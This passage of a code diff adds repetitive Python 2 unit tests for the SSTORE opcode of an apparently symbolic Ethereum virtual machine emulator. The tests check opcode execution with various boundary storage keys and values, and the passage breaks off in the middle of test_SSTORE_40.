+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {57896044618658097711785492504343953926634992332820282019728792003956564819952L: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {3618502788666131106986593281521497120414687020801267626233049500247285301263L: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {16: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {32: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {48: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {6089590155545428825848686802984512581899718912L: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {115792089237316195423570985008687907853269984665640564039457584007913129639935L: 1}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {0: 1}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {1: 1}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {57896044618658097711785492504343953926634992332820282019728792003956564819952L: 1}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {3618502788666131106986593281521497120414687020801267626233049500247285301263L: 1}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {16: 1}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {32: 1}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {48: 1}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {6089590155545428825848686802984512581899718912L: 1}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {115792089237316195423570985008687907853269984665640564039457584007913129639935L: 57896044618658097711785492504343953926634992332820282019728792003956564819952L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {0: 57896044618658097711785492504343953926634992332820282019728792003956564819952L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {1: 57896044618658097711785492504343953926634992332820282019728792003956564819952L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {57896044618658097711785492504343953926634992332820282019728792003956564819952L: 57896044618658097711785492504343953926634992332820282019728792003956564819952L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {3618502788666131106986593281521497120414687020801267626233049500247285301263L: 57896044618658097711785492504343953926634992332820282019728792003956564819952L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {16: 57896044618658097711785492504343953926634992332820282019728792003956564819952L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {32: 57896044618658097711785492504343953926634992332820282019728792003956564819952L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {48: 57896044618658097711785492504343953926634992332820282019728792003956564819952L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {6089590155545428825848686802984512581899718912L: 57896044618658097711785492504343953926634992332820282019728792003956564819952L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {115792089237316195423570985008687907853269984665640564039457584007913129639935L: 3618502788666131106986593281521497120414687020801267626233049500247285301263L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {0: 3618502788666131106986593281521497120414687020801267626233049500247285301263L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {1: 3618502788666131106986593281521497120414687020801267626233049500247285301263L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
